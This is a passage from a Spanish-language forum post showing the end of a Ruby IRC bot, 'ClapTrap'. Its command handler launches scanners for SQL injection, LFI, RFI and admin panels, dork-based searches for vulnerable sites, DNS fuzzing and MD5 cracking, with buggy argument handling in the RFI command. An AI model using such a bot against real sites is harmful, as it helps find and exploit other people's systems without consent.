  678.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  679.                  respuesta(admin,scanner_lfi(arg1))
  680.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  681.                end
  682.                if mensaje=~/!panel(.*)/
  683.                  arg1 = $1
  684.                  arg1 = arg1.chomp
  685.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  686.                  respuesta(admin,scanner_panel(arg1))
  687.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  688.                end
  689.                if mensaje=~/!fuzzdns (.*)/
  690.                  arg1 = $1
  691.                  arg1 = arg1.chomp
  692.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  693.                  respuesta(admin,scanner_dns(arg1))
  694.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  695.                end
  696.                if mensaje=~/!locateip (.*)/
  697.                  arg1 = $1
  698.                  arg1 = arg1.chomp
  699.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  700.                  respuesta(admin, locateip(arg1))
  701.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  702.                end
  703.                if mensaje=~/!sqlifinder (.*) (.*) (.*)/
  704.                  arg1 = $1
  705.                  arg2 = $2
  706.                  arg3 = $3
  707.                  arg1 = arg1.chomp
  708.                  arg2 = arg2.chomp
  709.                  arg3 = arg3.chomp
  710.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  711.                  respuesta(admin,sqli_finder(arg1,arg2,arg3))
  712.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  713.                end
  714.                if mensaje=~/!rfifinder (.*) (.*) (.*)/
  715.                  arg1 = $1
  716.                  arg1 = $2
  717.                  arg1 = $3
  718.                  arg1 = arg1.chomp
  719.                  arg2 = arg2.chomp
  720.                  arg3 = arg3.chomp
  721.                 $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  722.                  respuesta(admin,rfi_finder(arg1,arg2,arg3))
  723.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  724.                end
  725.                if mensaje=~/!crackit (.*)/
  726.                  arg1 = $1
  727.                  arg1 = arg1.chomp
  728.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  729.                  respuesta(admin,crack_md5(arg1))
  730.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  731.                end
  732.                if mensaje=~/!tinyurl (.*)/
  733.                  arg1 = $1
  734.                  arg1 = arg1.chomp
  735.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  736.                  respuesta(admin,tiny_url(arg1))
  737.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  738.                end
  739.                if mensaje=~/!httpfinger (.*)/
  740.                  arg1 = $1
  741.                  arg1 = arg1.chomp
  742.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  743.                  respuesta(admin,get_httpfinger(arg1))
  744.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  745.                end
  746.                if mensaje=~/!md5 (.*)/
  747.                  arg1 = $1
  748.                  arg1 = arg1.chomp
  749.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  750.                  respuesta(admin,md5_encode(arg1))
  751.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  752.                end
  753.                if mensaje=~/!base64 (.*) (.*)/
  754.                  arg1 = $1
  755.                  arg2 = $2
  756.                  arg1 = arg1.chomp
  757.                  arg2 = arg2.chomp
  758.                  if arg2=="encode"
  759.                   $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  760.                   respuesta(admin,codificar_base64(arg1))
  761.                   $irc.print "PRIVMSG #{admin} [+] Finished\n"   
  762.                  end
  763.                  if arg2=="decode"
  764.                   $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  765.                   respuesta(admin,decodificar_base64(arg1))
  766.                   $irc.print "PRIVMSG #{admin} [+] Finished\n"   
  767.                  end              
  768.                end
  769.  
  770.                if mensaje=~/!hex (.*) (.*)/
  771.                  arg1 = $1
  772.                  arg2 = $2
  773.                  arg1 = arg1.chomp
  774.                  arg2 = arg2.chomp
  775.                  if arg2=="encode"
  776.                   $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  777.                   respuesta(admin,codificar_hex(arg1))
  778.                   $irc.print "PRIVMSG #{admin} [+] Finished\n"   
  779.                  end
  780.                  if arg2=="decode"
  781.                   $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  782.                   respuesta(admin,decodificar_hex(arg1))
  783.                   $irc.print "PRIVMSG #{admin} [+] Finished\n"   
  784.                  end              
  785.                end
  786.  
  787.          
  788.                if mensaje=~/!ascii (.*)/
  789.                  arg1 = $1
  790.                  arg1 = arg1.chomp
  791.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  792.                  respuesta(admin,codificar_ascii(arg1))
  793.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  794.                end
  795.                if mensaje=~/!help/
  796.                 about = ""
  797.                 about = about + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014" + "\n";
  798.                about = about + "[++] Commands" + "\n";
  799.                about = about + "[+] !help" + "\n";
  800.                 about = about + "[+] !locateip <web>" + "\n";
  801.                about = about + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
  802.                about = about + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
  803.                about = about + "[+] !panel <page>" + "\n";
  804.                about = about + "[+] !fuzzdns <domain>" + "\n";
  805.                about = about + "[+] !sqli <page>" + "\n";
  806.                 about = about + "[+] !lfi <page>" + "\n";
  807.                 about = about + "[+] !crackit <hash>" + "\n";
  808.                about = about + "[+] !tinyurl <page>" + "\n";
  809.                about = about + "[+] !httpfinger <page>" + "\n";
  810.                 about = about + "[+] !md5 <text>" + "\n";
  811.                about = about + "[+] !base64 <encode/decode> <text>" + "\n";
  812.                about = about + "[+] !ascii <encode/decode> <text>" + "\n";
  813.                about = about + "[+] !hex <encode/decode> <text>" + "\n";
  814.                about = about + "[++] Enjoy this IRC Bot" + "\n";
  815.                 respuesta(admin,about)
  816.                end
  817.               end
  818.      end
  819.    end
  820.  end
  821. end
  822.  
  823. head()
  824.  
  825. print "[+] Host : "
  826. host = gets.chomp
  827. print "\n[+] Port : "
  828. port = gets.chomp
  829. print "\n[+] Channel : "
  830. channel = gets.chomp
  831. print "\n[+] Admin : "
  832. admin = gets.chomp
  833.  
  834. bot_online(host,port,channel,admin)
  835.  
  836. copyright()
  837.  
  838. # The End ?
  839.  

Eso es todo.

 

¿Te gustó el post? COMPARTILO!



[Ruby] Traductor de Decimal a Ascii / Ascii a Decimal

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1397
Último mensaje Febrero 24, 2010, 04:16:38 pm
por ANTRAX
Lenguaje Ruby, aprendiendo poco a poco.

Iniciado por Alejandro9999

Respuestas: 2
Vistas: 1371
Último mensaje Agosto 15, 2013, 02:58:39 pm
por Alejandro9999
Crafting rails 4 applications (Manual de Ruby on Rails 4)

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 861
Último mensaje Marzo 01, 2014, 05:34:50 pm
por Alejandro9999
Desarrollo de aplicaciones Perl, PHP, Python y "Ruby on Rails"

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 1093
Último mensaje Junio 13, 2014, 03:27:08 pm
por Alejandro9999
Shoesrb donde puedes hacerle una interfaz grafica a una aplicación hecha en Ruby

Iniciado por Alejandro9999

Respuestas: 3
Vistas: 1659
Último mensaje Mayo 21, 2013, 03:51:00 am
por D4rkC0d3r